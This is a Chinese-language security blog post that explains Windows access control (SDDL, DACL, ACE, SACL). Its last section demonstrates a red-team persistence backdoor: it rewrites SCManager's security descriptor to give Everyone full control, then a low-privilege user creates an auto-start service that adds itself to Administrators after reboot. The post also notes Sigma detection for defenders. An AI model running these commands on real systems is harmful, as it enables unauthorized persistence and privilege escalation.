写在最前
如果你是信息安全爱好者,如果你想考一些证书来提升自己的能力,那么欢迎大家来我的 Discord 频道 Northern Bay。邀请链接在这里:
https://discord.gg/9XvvuFq9Wb
我拥有 OSCP,OSEP,OSWE,OSED,OSCE3,CRTO,CRTP,CRTE,PNPT,eCPPTv2,eCPTXv2,KLCP,eJPT 证书。
所以,我会提供任一证书备考过程中尽可能多的帮助,并分享学习和实践过程中的资源和心得,大家一起进步,一起 NB~
背景
看到 Grzegorz Tworek(@0gtweet)的有关于 SDDL 后门利用的推文,感觉非常新奇。所以花时间学习了一下 SDDL,并且动手实践了一下 SCManager 的利用。
Windows 的访问控制(或者就是权限管理)让人摸不着头脑(想象 Linux 真的是单纯又简单),一会儿 SDDL,一会儿 ACL,一会儿 ACE,一会儿 DACL,一会儿 SACL,一会儿安全描述符(Security Descriptors),这些都是什么东西。这篇文章,我们一起浅析一下 Windows 访问控制(Access Control)。
其实不用被这么多术语所迷惑,等我们接下来用实际的例子把 SDDL 解释一遍,整个 Windows 访问控制就基本上清晰了。
在对 Windows SDDL 权限管理有一定的了解之后,我们再一起看一下对于 SDDL 的后门利用。
Windows 访问控制列表(Access Control List)
定义
Windows 访问控制,或者通常就叫权限,是随处可见的。每一个文件,每一个文件夹,甚至每一个注册表的键值,每一个服务,都有各自的权限(Permissions)。
每个用户,或者组,对于一个文件的权限。
每个用户,或者组,对于一个文件夹的权限。
每个用户,或者组,对于一个注册表键值对的权限。
以上看到的内容,就是 Windows 中,一个用户,或者组的 Access Control List(访问控制列表)。这是 GUI 上的样子,那么我们深入到最底层,Access Control List 又是什么样子的呢?
我们来看一下用户或者组,对于一个 Windows 服务的权限。
拿 Print Spooler 服务举例。
sc.exe sdshow Spooler
这就是 Windows 访问控制列表的真实样子。以下红框中的内容,就是本文要剖析的,Windows SDDL 安全描述符定义语言。
看到这里,想必大家会深深爱上 Linux 😄
Access Control List(访问控制列表),是 Windows 整个权限系统的统称。如果有一个包含关系,那么 Access Control List 就是外层最大的那一个圈,包含着接下来讨论的所有概念。
Windows SDDL
定义
SDDL,Security Descriptor Definition Language,是 Windows 中,以 字符串形式 来对一个对象的 安全描述符 做定义的语言。
安全描述符,指的是一种可以表示一个对象的所有者(O),所属组(G),对不同主体(用户,组)所开放的权限(DACL),以及系统审计规则(SACL)的数据结构。如下图。
字符串形式,指的就是 安全描述符 的表现形式。
SDDL,就是用来定义 安全描述符 的语言。
上图红框中过的字符串,就是 Print Spooler 服务的 SDDL 定义。
SDDL 的格式
SDDL 的格式如下:
O:owner_sid
G:group_sid
D:dacl_flags(string_ace_1)(string_ace_2)…(string_ace_n)
S:sacl_flags(string_ace_1)(string_ace_2)…(string_ace_n)
如果 SDDL 以 D 开头,代表着这条 SDDL 定义的是一条 DACL。
如果 SDDL 以 S 开头,代表着这条 SDDL 定义的是一条 SACL。
DACL 和 SACL,都包含着数量不等的 ACE(string_ace)。
每一条 ACE,都包含着 6 个以分号分隔的成员。我们之后会展开细说。
O 和 G 不常出现,也不是我们的重点。
接下来,我们就这里出现的几个新术语,DACL,ACE,SACL,一一做解释。
DACL
定义
DACL, Discretionary Access Control List,中文译为 自由访问控制列表。其实有点不太准确。Discretionary,翻译成 量化,可能更为恰当。量化控制列表,指的就是对于各个不同的主体,我们分别给与了什么样的权限。
我们以 test-file.txt 文件的 SDDL 来举例说明。
cacls test-file.txt /S
D:(A;;FA;;;SY)(A;;FA;;;BA)(A;;FA;;;S-1-5-21-1230430613-953561775-1632160640-1001)
上一小节说过,如果 SDDL 以字母 D 开头,代表着这条 SDDL 定义的是一条 DACL。
我们接着看一下 DACL 包含什么内容。
ACE
定义
ACE 定义了一个主体对于另一个主体的具体权限。比如用一个用户对一个文件,有读、写权限。这就是一条 ACE。
格式
DACL 包含着数量不等的 ACE(string_ace),每一条 ACE,由圆括号包裹。
之前提到了,每一条 ACE 都包含着 6 个以分号分隔的成员。这些成员的信息如下:
ACE type (allow/deny/audit);ACE flags (inheritance and audit settings);Permissions (list of incremental permissions); ObjectType (GUID);Inherited Object Type (GUID);Trustee (SID)
下图中每一个红框中,代表的就是这个 DACL 中的 一条 ACE。
这个 DACL 共有 3 条 ACE,这和 GUI 中的信息是如何对应的呢?
这是 test-file.txt 的 Access Control List。
下图 DACL 中的三条 ACE,就是上图红框中的三个主体,以及绿框中的具体权限,在 SDDL 中的体现。
那么这些 GUI 上的具体权限,与 ACE 中的 6 个成员是如何对应的呢?
这里,就引出几张表,大家一看就明白了。图片中列出了每一个成员的可能值,以及解释。在图片之后,我们将对几个 ACE 对应着表格,做一个比对。
ACE 成员 1,ACE Type:
ACE 成员 2,ACE Flags:
ACE 成员 3,Permissions:
ACE 成员 4,Object Type 。如果存在,会以 GUID 的形式出现。他将限制这条 ACE 只对该 GUID 代表的对象生效。通常不出现。
ACE 成员 5,Inherited Object Type 。如果存在,会以 GUID 的形式出现。他将限制对于这条 ACE 的继承只对该 GUID 代表的对象的子对象生效。通常不出现。
ACE 成员 6,Trustee:
我们参照图片,来翻译一下第一条 ACE 的意思。
第一个条 ACE:
(A;;FA;;;SY)
解释:
// ACE Type
A -> Access Allowed,该用户的被允许访问该文件
// ACE Flags
空
// Permissions
FA -> File All Access,该用户对这个文件有完全控制权(增删改)
// Object Type
空
// Inherited Object Type
空
// Trustee
SY -> 这条 ACE 被赋予 Local System
Local System 可以访问 test-file.txt,并对该文件有完全控制权(Full Control)。
在 GUI 中验证一下。
没有问题。
其他的 ACE,大家可以参照上面的图片,自行翻译。
SACL
定义
SACL,System Access Control List,是用于 Windows 主体的被访问结果审计的。可以生成关于一个主体访问成功与否的日志。
作用
这个概念不是重点,我们演示一下即带过。
为 test-file.txt 增加 SACL。
首先添加本地对象审计策略。
Local Security Policy -> Local Policies -> Audit Policy -> Audit object access.
选择 Success,Failure。点击 Apply 生效。
右键 test-file.txt,选择 Advanced。
选择 Auditing。然后点击 Continue。
选择 Add。
选择 Select a principal 添加主体。
我们增加自己到 SACL。
在 Type 下拉框中选择要审计的访问结果。这里我们选择 Success 做演示。
最后选择 OK 完成 SACL 添加。
点击 Apply 使 SACL 生效。
然后打开 Event Viewer -> Windows Logs -> Security,点击右侧 Filter Current Log…
增加 4663,4656 为过滤事件 ID。
打开一下 test-file.txt,在 Event Viewer 中就可以看到被系统记录的日志信息。
接下来说重点。
在理解了 Windows Access Control 以及 SDDL 之后。我们看一下红队如何利用 SDDL 做后门。
Windows SDDL Backdoor
“Admin rights is not the end, it’s just the beginning.”
拿到了 Admin 权限,这在红队中只是个开始。做后门的功夫决定了权限维持的效果。
今天说了那么多,就是要利用 Windows SDDL 做一个后门。
SCManager
我们之前说的,Windows 中的每一个主体,都有相应的访问控制列表。
这里的思路,是修改这个主体的 SDDL,让特定的主体,对其有完全控制的权限。
候选人,就是 SCManager。SCManager是服务相关的管理工具。服务的创建,运行都依赖 SCManager。psexec 也是调用 SCManager 来启动服务的。
这里使用一个非 Admin 账户来演示整个过程。
SCManager Backdoor
首先我们看一下 SCManager 默认的访问控制设置。
ConvertFrom-SddlString -Sddl $(sc.exe sdshow scmanager | select -last 1) | select -Expand DiscretionaryAcl
可以看到地权限的 Authenticated Users,是只有 ListDirectory 权限的。意味着地权限用户是无法创建,并运行一个服务。
我们验证一下。
添加一个低权限用户。
确认一下 SCManager 访问控制是默认配置。
我们尝试用地权限用户创建一个服务。
sc create goodsvc displayName= "goodsvc" binPath= "C:\Windows\System32\notepad.exe" start= auto
一巴掌直接糊连上,告诉你你没有权限。
那么我们尝试修改一下 SCManager 的访问控制,将其修改为 Everyone 都能有完全控制权限。
sc sdset scmanager D:(A;;KA;;;WD)
对照附录的 ACE 成员表,这个 ACE 的意思是:
- D: 这是一个 DACAL 定义
- A 允许访问
- KA 访问权限为 Key All Access
- WD 访问权限被赋予 Everyone 组
意思是 Everyone 都能对 SCManager 的注册表值进行更改,也就是能任意创建服务,并以 System 身份运行。
为什么是注册表我们等下会看到,创建的服务都在 HKLM\SYSTEM\CurrentControlSet\Services 键下面。
以下是设置结果,注意这个命令需要 Admin 权限。
sc sdset scmanager D:(A;;KA;;;WD)
查看一下现在 SCManager 的访问控制权限 SDDL。
Everyone 已经对 SCManager 有完全控制权限。
我们再次尝试用低权限账户创建一个服务。
sc create goodsvc displayName= "goodsvc" binPath= "C:\Windows\System32\notepad.exe" start= auto
成功创建服务。可以在注册表中找到新创建的服务。
我们可以创建服务,但是是无权启动服务的。我们只能设置服务为自动启动,那么等待用户重启电脑的时候,就能执行后门程序。
我们尝试添加地权限用户到 Admin 组。
sc create goodsvc displayName= "goodsvc" binPath= "C:\Windows\System32\net.exe localgroup Administrators woohoo /add" start= auto
重启电脑。
shutdown /r /t 0
重启之后,用户在 Admin 组下。
就可以以 Admin 身份运行任意程序了。
总结
这篇文章对 Windows SDDL 做了简单的解释,同时提供了一种 SDDL 的利用方式。
进攻方可以发散思维,利用 SDDL 和 SCManager 做更加隐秘的权限维持。
防守方可以使用 Sigma, 对 sdset SCManager 权限进行设置的行为进行检测。
另外在实践过程中发现,虽然说可以创建服务,但是对于注册表的 SDDL 中,是不带 Key Delete 权限的。所以低权限用户是无法删除服务的。
因此操作要谨慎,一旦创建,只有 Admin 账户可以删除该服务。
以此文提供更多的红队思路。
附录
ACE 成员一览
ACE 成员 1,ACE Type:
ACE 成员 2,ACE Flags:
ACE 成员 3,Permissions:
ACE 成员 4,Object Type 。如果存在,会以 GUID 的形式出现。他将限制这条 ACE 只对该 GUID 代表的对象生效。通常不出现。
ACE 成员 5,Inherited Object Type 。如果存在,会以 GUID 的形式出现。他将限制对于这条 ACE 的继承只对该 GUID 代表的对象的子对象生效。通常不出现。
ACE 成员 6,Trustee:
参考链接
- https://learn.microsoft.com/en-us/archive/msdn-magazine/2008/november/access-control-understanding-windows-file-and-registry-permissions
- http://waynes-world-it.blogspot.com/2008/03/sddl-syntax-in-secedit-security.html
- https://itconnect.uw.edu/tools-services-support/it-systems-infrastructure/msinf/other-help/understanding-sddl-syntax/
- https://learn.microsoft.com/en-us/windows/win32/secauthz/access-control-lists
- https://learn.microsoft.com/en-us/windows/win32/secauthz/security-identifiers
- https://learn.microsoft.com/en-us/windows/win32/secauthz/security-descriptors
- https://learn.microsoft.com/en-us/openspecs/windows_protocols/ms-azod/9baf9127-2ffb-4dda-aa45-0efcf409cee5#gt_c189801e-3752-4715-88f4-17804dad5782
- https://learn.microsoft.com/en-us/openspecs/windows_protocols/ms-azod/9baf9127-2ffb-4dda-aa45-0efcf409cee5#gt_d727f612-7a45-48e4-9d87-71735d62b321
- https://learn.microsoft.com/en-us/openspecs/windows_protocols/ms-azod/ec52bde3-9c86-4484-9080-e72148a2d53b
- https://www.installsetupconfig.com/win32programming/accesscontrollistacl1.html
- https://learn.microsoft.com/en-us/windows/security/identity-protection/user-account-control/how-user-account-control-works
- https://learn.microsoft.com/en-us/windows/security/identity-protection/access-control/access-control
- https://www.winhelponline.com/blog/view-edit-service-permissions-windows/
- https://learn.microsoft.com/en-us/windows/win32/secauthz/security-descriptor-definition-language
- https://learn.microsoft.com/en-us/windows/win32/secgloss/s-gly
- https://learn.microsoft.com/en-us/windows/security/threat-protection/auditing/apply-a-basic-audit-policy-on-a-file-or-folder
- https://learn.microsoft.com/en-us/windows-hardware/drivers/install/hklm-system-currentcontrolset-services-registry-tree
- https://learn.microsoft.com/en-us/troubleshoot/windows-client/deployment/create-user-defined-service